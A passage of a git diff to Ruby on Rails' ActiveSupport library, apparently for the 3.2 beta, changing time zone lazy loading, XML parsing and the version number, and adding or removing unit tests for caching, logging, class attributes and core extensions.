Time (US & Canada)' # => 'Eastern Time (US & Canada)' # Time.zone.local(2007, 2, 10, 15, 30, 45) # => Sat, 10 Feb 2007 15:30:45 EST -05:00 - # Time.zone.parse('2007-02-01 15:30:45') # => Sat, 10 Feb 2007 15:30:45 EST -05:00 + # Time.zone.parse('2007-02-10 15:30:45') # => Sat, 10 Feb 2007 15:30:45 EST -05:00 # Time.zone.at(1170361845) # => Sat, 10 Feb 2007 15:30:45 EST -05:00 # Time.zone.now # => Sun, 18 May 2008 13:07:55 EDT -04:00 # Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone # => Sat, 10 Feb 2007 15:30:45 EST -05:00 @@ -109,7 +109,7 @@ module ActiveSupport def xmlschema(fraction_digits = 0) fraction = if fraction_digits > 0 - ".%i" % time.usec.to_s[0, fraction_digits] + (".%06i" % time.usec)[0, fraction_digits + 1] end "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}" diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb index abd585b64f..35f400f9df 100644 --- a/activesupport/lib/active_support/values/time_zone.rb +++ b/activesupport/lib/active_support/values/time_zone.rb @@ -195,12 +195,8 @@ module ActiveSupport # (GMT). Seconds were chosen as the offset unit because that is the unit that # Ruby uses to represent time zone offsets (see Time#utc_offset). def initialize(name, utc_offset = nil, tzinfo = nil) - begin - require 'tzinfo' - rescue LoadError => e - $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install" - raise e - end + self.class.send(:require_tzinfo) + @name = name @utc_offset = utc_offset @tzinfo = tzinfo || TimeZone.find_tzinfo(name) @@ -315,10 +311,8 @@ module ActiveSupport tzinfo.period_for_local(time, dst) end - # TODO: Preload instead of lazy load for thread safety def self.find_tzinfo(name) - require 'active_support/tzinfo' unless defined?(::TZInfo) - ::TZInfo::TimezoneProxy.new(MAPPING[name] || name) + TZInfo::TimezoneProxy.new(MAPPING[name] || name) end class << self @@ -339,7 +333,12 @@ module ActiveSupport end def zones_map - @zones_map ||= Hash[MAPPING.map { |place, _| [place, create(place)] }] + @zones_map ||= begin + new_zones_names = MAPPING.keys - lazy_zones_map.keys + new_zones = Hash[new_zones_names.map { |place| [place, create(place)] }] + + lazy_zones_map.merge(new_zones) + end end # Locate a specific time zone object. If the argument is a string, it @@ -351,7 +350,7 @@ module ActiveSupport case arg when String begin - zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset } + lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset } rescue TZInfo::InvalidTimezoneIdentifier nil end @@ -369,11 +368,28 @@ module ActiveSupport @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ } end + protected + + def require_tzinfo + require 'tzinfo' unless defined?(::TZInfo) + rescue LoadError + $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install" + raise + end + private def lookup(name) (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze) end + + def lazy_zones_map + require_tzinfo + + @lazy_zones_map ||= Hash.new do |hash, place| + hash[place] = create(place) if MAPPING.has_key?(place) + end + end end end end diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb index c2cf39e391..bd8e7f907a 100644 --- a/activesupport/lib/active_support/version.rb +++ b/activesupport/lib/active_support/version.rb @@ -1,9 +1,9 @@ module ActiveSupport module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb index 6e12404ad4..1ea9a9d7e1 100644 --- a/activesupport/lib/active_support/xml_mini.rb +++ b/activesupport/lib/active_support/xml_mini.rb @@ -1,3 +1,4 @@ +require 'time' require 'active_support/core_ext/module/delegation' require 'active_support/core_ext/string/inflections' @@ -51,13 +52,12 @@ module ActiveSupport "yaml" => Proc.new { |yaml| yaml.to_yaml } } unless defined?(FORMATTING) - # TODO: use Time.xmlschema instead of Time.parse; - # use regexp instead of Date.parse + # TODO use regexp instead of Date.parse unless defined?(PARSING) PARSING = { "symbol" => Proc.new { |symbol| symbol.to_sym }, "date" => Proc.new { |date| ::Date.parse(date) }, - "datetime" => Proc.new { |time| ::Time.parse(time).utc rescue ::DateTime.parse(time).utc }, + "datetime" => Proc.new { |time| Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc }, "integer" => Proc.new { |integer| integer.to_i }, "float" => Proc.new { |float| float.to_f }, "decimal" => Proc.new { |number| BigDecimal(number) }, diff --git a/activesupport/lib/active_support/xml_mini/jdom.rb b/activesupport/lib/active_support/xml_mini/jdom.rb index 48c1cb3fe9..6c222b83ba 100644 --- a/activesupport/lib/active_support/xml_mini/jdom.rb +++ b/activesupport/lib/active_support/xml_mini/jdom.rb @@ -5,12 +5,12 @@ include Java require 'active_support/core_ext/object/blank' -import javax.xml.parsers.DocumentBuilder unless defined? DocumentBuilder -import javax.xml.parsers.DocumentBuilderFactory unless defined? DocumentBuilderFactory -import java.io.StringReader unless defined? StringReader -import org.xml.sax.InputSource unless defined? InputSource -import org.xml.sax.Attributes unless defined? Attributes -import org.w3c.dom.Node unless defined? Node +java_import javax.xml.parsers.DocumentBuilder unless defined? DocumentBuilder +java_import javax.xml.parsers.DocumentBuilderFactory unless defined? DocumentBuilderFactory +java_import java.io.StringReader unless defined? StringReader +java_import org.xml.sax.InputSource unless defined? InputSource +java_import org.xml.sax.Attributes unless defined? Attributes +java_import org.w3c.dom.Node unless defined? Node # = XmlMini JRuby JDOM implementation module ActiveSupport @@ -41,7 +41,7 @@ module ActiveSupport xml_string_reader = StringReader.new(data) xml_input_source = InputSource.new(xml_string_reader) doc = @dbf.new_document_builder.parse(xml_input_source) - merge_element!({}, doc.document_element) + merge_element!({CONTENT_KEY => ''}, doc.document_element) end end @@ -54,9 +54,14 @@ module ActiveSupport # element:: # XML element to merge into hash def merge_element!(hash, element) + delete_empty(hash) merge!(hash, element.tag_name, collapse(element)) end + def delete_empty(hash) + hash.delete(CONTENT_KEY) if hash[CONTENT_KEY] == '' + end + # Actually converts an XML document element into a data structure. # # element:: @@ -84,6 +89,7 @@ module ActiveSupport # element:: # XML element whose texts are to me merged into the hash def merge_texts!(hash, element) + delete_empty(hash) text_children = texts(element) if text_children.join.empty? hash @@ -128,6 +134,7 @@ module ActiveSupport attribute_hash = {} attributes = element.attributes for i in 0...attributes.length + attribute_hash[CONTENT_KEY] ||= '' attribute_hash[attributes.item(i).name] = attributes.item(i).value end attribute_hash diff --git a/activesupport/test/benchmarkable_test.rb b/activesupport/test/benchmarkable_test.rb index 766956f50f..06f5172e1f 100644 --- a/activesupport/test/benchmarkable_test.rb +++ b/activesupport/test/benchmarkable_test.rb @@ -26,17 +26,6 @@ class BenchmarkableTest < ActiveSupport::TestCase assert_last_logged 'test_run' end - def test_with_message_and_deprecated_level - i_was_run = false - - assert_deprecated do - benchmark('debug_run', :debug) { i_was_run = true } - end - - assert i_was_run - assert_last_logged 'debug_run' - end - def test_within_level logger.level = ActiveSupport::BufferedLogger::DEBUG benchmark('included_debug_run', :level => :debug) { } diff --git a/activesupport/test/buffered_logger_test.rb b/activesupport/test/buffered_logger_test.rb index 21049d685b..386006677b 100644 --- a/activesupport/test/buffered_logger_test.rb +++ b/activesupport/test/buffered_logger_test.rb @@ -198,4 +198,57 @@ class BufferedLoggerTest < Test::Unit::TestCase end assert byte_string.include?(BYTE_STRING) end + + def test_silence_only_current_thread + @logger.auto_flushing = true + run_thread_a = false + + a = Thread.new do + while !run_thread_a do + sleep(0.001) + end + @logger.info("x") + run_thread_a = false + end + + @logger.silence do + run_thread_a = true + @logger.info("a") + while run_thread_a do + sleep(0.001) + end + end + + a.join + + assert @output.string.include?("x") + assert !@output.string.include?("a") + end + + def test_flush_dead_buffers + @logger.auto_flushing = false + + a = Thread.new do + @logger.info("a") + end + + keep_running = true + Thread.new do + @logger.info("b") + while keep_running + sleep(0.001) + end + end + + @logger.info("x") + a.join + @logger.flush + + + assert @output.string.include?("x") + assert @output.string.include?("a") + assert !@output.string.include?("b") + + keep_running = false + end end diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb index 476d55fffd..cb5362525f 100644 --- a/activesupport/test/caching_test.rb +++ b/activesupport/test/caching_test.rb @@ -188,18 +188,31 @@ module CacheStoreBehavior assert_equal nil, @cache.read('foo') end + def test_should_read_and_write_false + assert_equal true, @cache.write('foo', false) + assert_equal false, @cache.read('foo') + end + def test_read_multi @cache.write('foo', 'bar') @cache.write('fu', 'baz') @cache.write('fud', 'biz') assert_equal({"foo" => "bar", "fu" => "baz"}, @cache.read_multi('foo', 'fu')) end + + def test_read_multi_with_expires + @cache.write('foo', 'bar', :expires_in => 0.001) + @cache.write('fu', 'baz') + @cache.write('fud', 'biz') + sleep(0.002) + assert_equal({"fu" => "baz"}, @cache.read_multi('foo', 'fu')) + end def test_read_and_write_compressed_small_data @cache.write('foo', 'bar', :compress => true) raw_value = @cache.send(:read_entry, 'foo', {}).raw_value assert_equal 'bar', @cache.read('foo') - assert_equal 'bar', raw_value + assert_equal 'bar', Marshal.load(raw_value) end def test_read_and_write_compressed_large_data @@ -265,10 +278,12 @@ module CacheStoreBehavior assert !@cache.exist?('foo') end - def test_store_objects_should_be_immutable + def test_read_should_return_a_different_object_id_each_time_it_is_called @cache.write('foo', 'bar') - assert_raise(ActiveSupport::FrozenObjectError) { @cache.read('foo').gsub!(/.*/, 'baz') } - assert_equal 'bar', @cache.read('foo') + assert_not_equal @cache.read('foo').object_id, @cache.read('foo').object_id + value = @cache.read('foo') + value << 'bingo' + assert_not_equal value, @cache.read('foo') end def test_original_store_objects_should_not_be_immutable @@ -342,7 +357,7 @@ module CacheStoreBehavior def test_really_long_keys key = "" - 1000.times{key << "x"} + 900.times{key << "x"} assert_equal true, @cache.write(key, "bar") assert_equal "bar", @cache.read(key) assert_equal "bar", @cache.fetch(key) @@ -516,6 +531,7 @@ class FileStoreTest < ActiveSupport::TestCase Dir.mkdir(cache_dir) unless File.exist?(cache_dir) @cache = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, :expires_in => 60) @peek = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, :expires_in => 60) + @cache_with_pathname = ActiveSupport::Cache.lookup_store(:file_store, Pathname.new(cache_dir), :expires_in => 60) end def teardown @@ -531,35 +547,39 @@ class FileStoreTest < ActiveSupport::TestCase include CacheDeleteMatchedBehavior include CacheIncrementDecrementBehavior - def test_deprecated_expires_in_on_read - ActiveSupport::Deprecation.silence do - old_cache = ActiveSupport::Cache.lookup_store(:file_store, cache_dir) - - time = Time.local(2008, 4, 24) - Time.stubs(:now).returns(time) - - old_cache.write("foo", "bar") - assert_equal 'bar', old_cache.read('foo', :expires_in => 60) - - Time.stubs(:now).returns(time + 30) - assert_equal 'bar', old_cache.read('foo', :expires_in => 60) - - Time.stubs(:now).returns(time + 61) - assert_equal 'bar', old_cache.read('foo') - assert_nil old_cache.read('foo', :expires_in => 60) - assert_nil old_cache.read('foo') - end - end - def test_key_transformation key = @cache.send(:key_file_path, "views/index?id=1") assert_equal "views/index?id=1", @cache.send(:file_path_key, key) end + + def test_key_transformation_with_pathname + FileUtils.touch(File.join(cache_dir, "foo")) + key = @cache_with_pathname.send(:key_file_path, "views/index?id=1") + assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key) + end + + # Because file systems have a maximum filename size, filenames > max size should be split in to directories + # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B + def test_key_transformation_max_filename_size + key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B" + path = @cache.send(:key_file_path, key) + assert path.split('/').all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE} + assert_equal 'B', File.basename(path) + end + + # If nothing has been stored in the cache, there is a chance the cache directory does not yet exist + # Ensure delete_matched gracefully handles this case + def test_delete_matched_when_cache_directory_does_not_exist + assert_nothing_raised(Exception) do + ActiveSupport::Cache::FileStore.new('/test/cache/directory').delete_matched(/does_not_exist/) + end + end end class MemoryStoreTest < ActiveSupport::TestCase def setup - @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => 100) + @record_size = Marshal.dump("aaaaaaaaaa").bytesize + @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => @record_size * 10) end include CacheStoreBehavior @@ -574,7 +594,7 @@ class MemoryStoreTest < ActiveSupport::TestCase @cache.write(5, "eeeeeeeeee") && sleep(0.001) @cache.read(2) && sleep(0.001) @cache.read(4) - @cache.prune(30) + @cache.prune(@record_size * 3) assert_equal true, @cache.exist?(5) assert_equal true, @cache.exist?(4) assert_equal false, @cache.exist?(3) @@ -628,18 +648,6 @@ class MemoryStoreTest < ActiveSupport::TestCase end end -class SynchronizedStoreTest < ActiveSupport::TestCase - def setup - ActiveSupport::Deprecation.silence do - @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60) - end - end - - include CacheStoreBehavior - include CacheDeleteMatchedBehavior - include CacheIncrementDecrementBehavior -end - uses_memcached 'memcached backed store' do class MemCacheStoreTest < ActiveSupport::TestCase def setup @@ -662,7 +670,14 @@ uses_memcached 'memcached backed store' do cache.write("foo", 2) assert_equal "2", cache.read("foo") end - + + def test_raw_values_with_marshal + cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true) + cache.clear + cache.write("foo", Marshal.dump([])) + assert_equal [], cache.read("foo") + end + def test_local_cache_raw_values cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true) cache.clear @@ -671,18 +686,15 @@ uses_memcached 'memcached backed store' do assert_equal "2", cache.read("foo") end end - end - class CompressedMemCacheStore < ActiveSupport::TestCase - def setup - ActiveSupport::Deprecation.silence do - @cache = ActiveSupport::Cache.lookup_store(:compressed_mem_cache_store, :expires_in => 60) - @cache.clear + def test_local_cache_raw_values_with_marshal + cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true) + cache.clear + cache.with_local_cache do + cache.write("foo", Marshal.dump([])) + assert_equal [], cache.read("foo") end end - - include CacheStoreBehavior - include CacheIncrementDecrementBehavior end end @@ -735,7 +747,7 @@ class CacheEntryTest < ActiveSupport::TestCase def test_non_compress_values entry = ActiveSupport::Cache::Entry.new("value") assert_equal "value", entry.value - assert_equal "value", entry.raw_value + assert_equal "value", Marshal.load(entry.raw_value) assert_equal false, entry.compressed? end end diff --git a/activesupport/test/callback_inheritance_test.rb b/activesupport/test/callback_inheritance_test.rb index d569cbb4fb..06259c648c 100644 --- a/activesupport/test/callback_inheritance_test.rb +++ b/activesupport/test/callback_inheritance_test.rb @@ -1,6 +1,5 @@ require 'abstract_unit' require 'test/unit' -require 'active_support' class GrandParent include ActiveSupport::Callbacks diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb index 816dcad968..2b4adda4d1 100644 --- a/activesupport/test/callbacks_test.rb +++ b/activesupport/test/callbacks_test.rb @@ -1,6 +1,5 @@ require 'abstract_unit' require 'test/unit' -require 'active_support' module CallbacksTest class Phone diff --git a/activesupport/test/class_cache_test.rb b/activesupport/test/class_cache_test.rb index fc2d54515d..752c0ee478 100644 --- a/activesupport/test/class_cache_test.rb +++ b/activesupport/test/class_cache_test.rb @@ -51,20 +51,6 @@ module ActiveSupport assert_equal @cache[ClassCacheTest], @cache.get(ClassCacheTest.name) end - def test_new - assert_deprecated do - @cache.new ClassCacheTest - end - assert @cache.key?(ClassCacheTest.name) - end - - def test_new_rejects_strings_when_called_on_a_new_string - assert_deprecated do - @cache.new ClassCacheTest.name - end - assert !@cache.key?(ClassCacheTest.name) - end - def test_new_rejects_strings @cache.store ClassCacheTest.name assert !@cache.key?(ClassCacheTest.name) @@ -74,35 +60,6 @@ module ActiveSupport x = @cache.store ClassCacheTest assert_equal @cache, x end - - def test_new_returns_proxy - v = nil - assert_deprecated do - v = @cache.new ClassCacheTest.name - end - - assert_deprecated do - assert_equal ClassCacheTest, v.get - end - end - - def test_anonymous_class_fail - assert_raises(ArgumentError) do - assert_deprecated do - @cache.new Class.new - end - end - - assert_raises(ArgumentError) do - x = Class.new - @cache[x] = x - end - - assert_raises(ArgumentError) do - x = Class.new - @cache.store x - end - end end end end diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb index c6d8191298..2e5ea2c360 100644 --- a/activesupport/test/configurable_test.rb +++ b/activesupport/test/configurable_test.rb @@ -58,16 +58,26 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase child = Class.new(parent) parent.config.bar = :foo - assert !parent.config.respond_to?(:bar) - assert !child.config.respond_to?(:bar) - assert !child.new.config.respond_to?(:bar) + assert_method_not_defined parent.config, :bar + assert_method_not_defined child.config, :bar + assert_method_not_defined child.new.config, :bar parent.config.compile_methods! assert_equal :foo, parent.config.bar assert_equal :foo, child.new.config.bar - assert_respond_to parent.config, :bar - assert_respond_to child.config, :bar - assert_respond_to child.new.config, :bar + assert_method_defined parent.config, :bar + assert_method_defined child.config, :bar + assert_method_defined child.new.config, :bar + end + + def assert_method_defined(object, method) + methods = object.public_methods.map(&:to_s) + assert methods.include?(method.to_s), "Expected #{methods.inspect} to include #{method.to_s.inspect}" + end + + def assert_method_not_defined(object, method) + methods = object.public_methods.map(&:to_s) + assert !methods.include?(method.to_s), "Expected #{methods.inspect} to not include #{method.to_s.inspect}" end end diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb new file mode 100644 index 0000000000..81d200a0c8 --- /dev/null +++ b/activesupport/test/constantize_test_cases.rb @@ -0,0 +1,37 @@ +module Ace + module Base + class Case + end + end +end + +module ConstantizeTestCases + def run_constantize_tests_on + assert_nothing_raised { assert_equal Ace::Base::Case, yield("Ace::Base::Case") } + assert_nothing_raised { assert_equal Ace::Base::Case, yield("::Ace::Base::Case") } + assert_nothing_raised { assert_equal ConstantizeTestCases, yield("ConstantizeTestCases") } + assert_nothing_raised { assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases") } + assert_raise(NameError) { yield("UnknownClass") } + assert_raise(NameError) { yield("UnknownClass::Ace") } + assert_raise(NameError) { yield("UnknownClass::Ace::Base") } + assert_raise(NameError) { yield("An invalid string") } + assert_raise(NameError) { yield("InvalidClass\n") } + assert_raise(NameError) { yield("Ace::ConstantizeTestCases") } + assert_raise(NameError) { yield("Ace::Base::ConstantizeTestCases") } + end + + def run_safe_constantize_tests_on + assert_nothing_raised { assert_equal Ace::Base::Case, yield("Ace::Base::Case") } + assert_nothing_raised { assert_equal Ace::Base::Case, yield("::Ace::Base::Case") } + assert_nothing_raised { assert_equal ConstantizeTestCases, yield("ConstantizeTestCases") } + assert_nothing_raised { assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases") } + assert_nothing_raised { assert_equal nil, yield("UnknownClass") } + assert_nothing_raised { assert_equal nil, yield("UnknownClass::Ace") } + assert_nothing_raised { assert_equal nil, yield("UnknownClass::Ace::Base") } + assert_nothing_raised { assert_equal nil, yield("An invalid string") } + assert_nothing_raised { assert_equal nil, yield("InvalidClass\n") } + assert_nothing_raised { assert_equal nil, yield("blargle") } + assert_nothing_raised { assert_equal nil, yield("Ace::ConstantizeTestCases") } + assert_nothing_raised { assert_equal nil, yield("Ace::Base::ConstantizeTestCases") } + end +end
\ No newline at end of file diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb index 0e5407bc35..52231aaeb0 100644 --- a/activesupport/test/core_ext/array_ext_test.rb +++ b/activesupport/test/core_ext/array_ext_test.rb @@ -456,11 +456,22 @@ class ArrayWrapperTests < Test::Unit::TestCase assert_equal [o], Array.wrap(o) end - def test_wrap_returns_nil_if_to_ary_returns_nil - assert_nil Array.wrap(NilToAry.new) + def test_wrap_returns_wrapped_if_to_ary_returns_nil + o = NilToAry.new + assert_equal [o], Array.wrap(o) end def test_wrap_does_not_complain_if_to_ary_does_not_return_an_array assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new) end end + +class ArrayPrependAppendTest < Test::Unit::TestCase + def test_append + assert_equal [1, 2], [1].append(2) + end + + def test_prepend + assert_equal [2, 1], [1].prepend(2) + end +end diff --git a/activesupport/test/core_ext/blank_test.rb b/activesupport/test/core_ext/blank_test.rb index 97c6b213ba..a2cf298905 100644 --- a/activesupport/test/core_ext/blank_test.rb +++ b/activesupport/test/core_ext/blank_test.rb @@ -1,8 +1,10 @@ +# encoding: utf-8 + require 'abstract_unit' require 'active_support/core_ext/object/blank' class BlankTest < Test::Unit::TestCase - BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", [], {} ] + BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", ' ', [], {} ] NOT = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ] def test_blank diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb index 456f4b7948..6b50f8db37 100644 --- a/activesupport/test/core_ext/class/attribute_accessor_test.rb +++ b/activesupport/test/core_ext/class/attribute_accessor_test.rb @@ -5,8 +5,9 @@ class ClassAttributeAccessorTest < Test::Unit::TestCase def setup @class = Class.new do cattr_accessor :foo - cattr_accessor :bar, :instance_writer => false - cattr_reader :shaq, :instance_reader => false + cattr_accessor :bar, :instance_writer => false + cattr_reader :shaq, :instance_reader => false + cattr_accessor :camp, :instance_accessor => false end @object = @class.new end @@ -35,4 +36,10 @@ class ClassAttributeAccessorTest < Test::Unit::TestCase assert_respond_to @class, :shaq assert !@object.respond_to?(:shaq) end + + def test_should_not_create_instance_accessors + assert_respond_to @class, :camp + assert !@object.respond_to?(:camp) + assert !@object.respond_to?(:camp=) + end end diff --git a/activesupport/test/core_ext/class/attribute_test.rb b/activesupport/test/core_ext/class/attribute_test.rb index d58b60482b..e290a6e012 100644 --- a/activesupport/test/core_ext/class/attribute_test.rb +++ b/activesupport/test/core_ext/class/attribute_test.rb @@ -60,6 +60,12 @@ class ClassAttributeTest < ActiveSupport::TestCase assert_raise(NoMethodError) { object.setting = 'boom' } end + test 'disabling instance reader' do + object = Class.new { class_attribute :setting, :instance_reader => false }.new + assert_raise(NoMethodError) { object.setting } + assert_raise(NoMethodError) { object.setting? } + end + test 'works well with singleton classes' do object = @klass.new object.singleton_class.setting = 'foo' diff --git a/activesupport/test/core_ext/class/class_inheritable_attributes_test.rb b/activesupport/test/core_ext/class/class_inheritable_attributes_test.rb deleted file mode 100644 index 020dfce56a..0000000000 --- a/activesupport/test/core_ext/class/class_inheritable_attributes_test.rb +++ /dev/null @@ -1,230 +0,0 @@ -require 'abstract_unit' -require 'active_support/core_ext/class/inheritable_attributes' - -class ClassInheritableAttributesTest < Test::Unit::TestCase - def setup - ActiveSupport::Deprecation.silenced = true - @klass = Class.new - end - - def teardown - ActiveSupport::Deprecation.silenced = false - end - - def test_reader_declaration - assert_nothing_raised do - @klass.class_inheritable_reader :a - assert_respond_to @klass, :a - assert_respond_to @klass.new, :a - end - end - - def test_writer_declaration - assert_nothing_raised do - @klass.class_inheritable_writer :a - assert_respond_to @klass, :a= - assert_respond_to @klass.new, :a= - end - end - - def test_writer_declaration_without_instance_writer - assert_nothing_raised do - @klass.class_inheritable_writer :a, :instance_writer => false - assert_respond_to @klass, :a= - assert !@klass.new.respond_to?(:a=) - end - end - - def test_accessor_declaration - assert_nothing_raised do - @klass.class_inheritable_accessor :a - assert_respond_to @klass, :a - assert_respond_to @klass.new, :a - assert_respond_to @klass, :a= - assert_respond_to @klass.new, :a= - end - end - - def test_accessor_declaration_without_instance_writer - assert_nothing_raised do - @klass.class_inheritable_accessor :a, :instance_writer => false - assert_respond_to @klass, :a - assert_respond_to @klass.new, :a - assert_respond_to @klass, :a= - assert !@klass.new.respond_to?(:a=) - end - end - - def test_array_declaration - assert_nothing_raised do - @klass.class_inheritable_array :a - assert_respond_to @klass, :a - assert_respond_to @klass.new, :a - assert_respond_to @klass, :a= - assert_respond_to @klass.new, :a= - end - end - - def test_array_declaration_without_instance_writer - assert_nothing_raised do - @klass.class_inheritable_array :a, :instance_writer => false - assert_respond_to @klass, :a - assert_respond_to @klass.new, :a - assert_respond_to @klass, :a= - assert !@klass.new.respond_to?(:a=) - end - end - - def test_hash_declaration - assert_nothing_raised do - @klass.class_inheritable_hash :a - assert_respond_to @klass, :a - assert_respond_to @klass.new, :a - assert_respond_to @klass, :a= - assert_respond_to @klass.new, :a= - end - end - - def test_hash_declaration_without_instance_writer - assert_nothing_raised do - @klass.class_inheritable_hash :a, :instance_writer => false - assert_respond_to @klass, :a - assert_respond_to @klass.new, :a - assert_respond_to @klass, :a= - assert !@klass.new.respond_to?(:a=) - end - end - - def test_reader - @klass.class_inheritable_reader :a - assert_nil @klass.a - assert_nil @klass.new.a - - @klass.send(:write_inheritable_attribute, :a, 'a') - - assert_equal 'a', @klass.a - assert_equal 'a', @klass.new.a - assert_equal @klass.a, @klass.new.a - assert_equal @klass.a.object_id, @klass.new.a.object_id - end - - def test_writer - @klass.class_inheritable_reader :a - @klass.class_inheritable_writer :a - - assert_nil @klass.a - assert_nil @klass.new.a - - @klass.a = 'a' - assert_equal 'a', @klass.a - @klass.new.a = 'A' - assert_equal 'A', @klass.a - end - - def test_array - @klass.class_inheritable_array :a - - assert_nil @klass.a - assert_nil @klass.new.a - - @klass.a = %w(a b c) - assert_equal %w(a b c), @klass.a - assert_equal %w(a b c), @klass.new.a - - @klass.new.a = %w(A B C) - assert_equal %w(a b c A B C), @klass.a - assert_equal %w(a b c A B C), @klass.new.a - end - - def test_hash - @klass.class_inheritable_hash :a - - assert_nil @klass.a - assert_nil @klass.new.a - - @klass.a = { :a => 'a' } - assert_equal({ :a => 'a' }, @klass.a) - assert_equal({ :a => 'a' }, @klass.new.a) - - @klass.new.a = { :b => 'b' } - assert_equal({ :a => 'a', :b => 'b' }, @klass.a) - assert_equal({ :a => 'a', :b => 'b' }, @klass.new.a) - end - - def test_inheritance - @klass.class_inheritable_accessor :a - @klass.a = 'a' - - @sub = eval("class FlogMe < @klass; end; FlogMe") - - @klass.class_inheritable_accessor :b - - assert_respond_to @sub, :a - assert_respond_to @sub, :b - assert_equal @klass.a, @sub.a - assert_equal @klass.b, @sub.b - assert_equal 'a', @sub.a - assert_nil @sub.b - - @klass.b = 'b' - assert_not_equal @klass.b, @sub.b - assert_equal 'b', @klass.b - assert_nil @sub.b - - @sub.a = 'A' - assert_not_equal @klass.a, @sub.a - assert_equal 'a', @klass.a - assert_equal 'A', @sub.a - - @sub.b = 'B' - assert_not_equal @klass.b, @sub.b - assert_equal 'b', @klass.b - assert_equal 'B', @sub.b - end - - def test_array_inheritance - @klass.class_inheritable_accessor :a - @klass.a = [] - - @sub = eval("class SubbyArray < @klass; end; SubbyArray") - - assert_equal [], @klass.a - assert_equal [], @sub.a - - @sub.a << :first - - assert_equal [:first], @sub.a - assert_equal [], @klass.a - end - - def test_array_inheritance_ - @klass.class_inheritable_accessor :a - @klass.a = {} - - @sub = eval("class SubbyHash < @klass; end; SubbyHash") - - assert_equal Hash.new, @klass.a - assert_equal Hash.new, @sub.a - - @sub.a[:first] = :first - - assert_equal 1, @sub.a.keys.size - assert_equal 0, @klass.a.keys.size - end - - def test_reset_inheritable_attributes - @klass.class_inheritable_accessor :a - @klass.a = 'a' - - @sub = eval("class Inheriting < @klass; end; Inheriting") - - assert_equal 'a', @klass.a - assert_equal 'a', @sub.a - - @klass.reset_inheritable_attributes - @sub = eval("class NotInheriting < @klass; end; NotInheriting") - - assert_nil @klass.a - assert_nil @sub.a - end -end diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb index d81693209f..b4f848cd44 100644 --- a/activesupport/test/core_ext/date_ext_test.rb +++ b/activesupport/test/core_ext/date_ext_test.rb @@ -454,4 +454,10 @@ class DateExtBehaviorTest < Test::Unit::TestCase Date.today.freeze.inspect end end + + def test_can_freeze_twice + assert_nothing_raised do + Date.today.freeze.freeze + end + end end diff --git a/activesupport/test/core_ext/duplicable_test.rb b/activesupport/test/core_ext/duplicable_test.rb index 6e1f876959..e48e6a7c45 100644 --- a/activesupport/test/core_ext/duplicable_test.rb +++ b/activesupport/test/core_ext/duplicable_test.rb @@ -1,24 +1,30 @@ require 'abstract_unit' require 'bigdecimal' require 'active_support/core_ext/object/duplicable' +require 'active_support/core_ext/numeric/time' class DuplicableTest < Test::Unit::TestCase - NO = [nil, false, true, :symbol, 1, 2.3, BigDecimal.new('4.56'), Class.new] + RAISE_DUP = [nil, false, true, :symbol, 1, 2.3, BigDecimal.new('4.56'), 5.seconds] YES = ['1', Object.new, /foo/, [], {}, Time.now] + NO = [Class.new, Module.new] def test_duplicable - NO.each do |v| + (RAISE_DUP + NO).each do |v| assert !v.duplicable? - begin - v.dup - fail - rescue Exception - end end YES.each do |v| assert v.duplicable? + end + + (YES + NO).each do |v| assert_nothing_raised { v.dup } end + + RAISE_DUP.each do |v| + assert_raises(TypeError) do + v.dup + end + end end end diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb index 4655bfe519..cdfa991a34 100644 --- a/activesupport/test/core_ext/enumerable_test.rb +++ b/activesupport/test/core_ext/enumerable_test.rb @@ -8,6 +8,19 @@ class SummablePayment < Payment end class EnumerableTests < Test::Unit::TestCase + Enumerator = [].each.class + + class GenericEnumerable + include Enumerable + def initialize(values = [1, 2, 3]) + @values = values 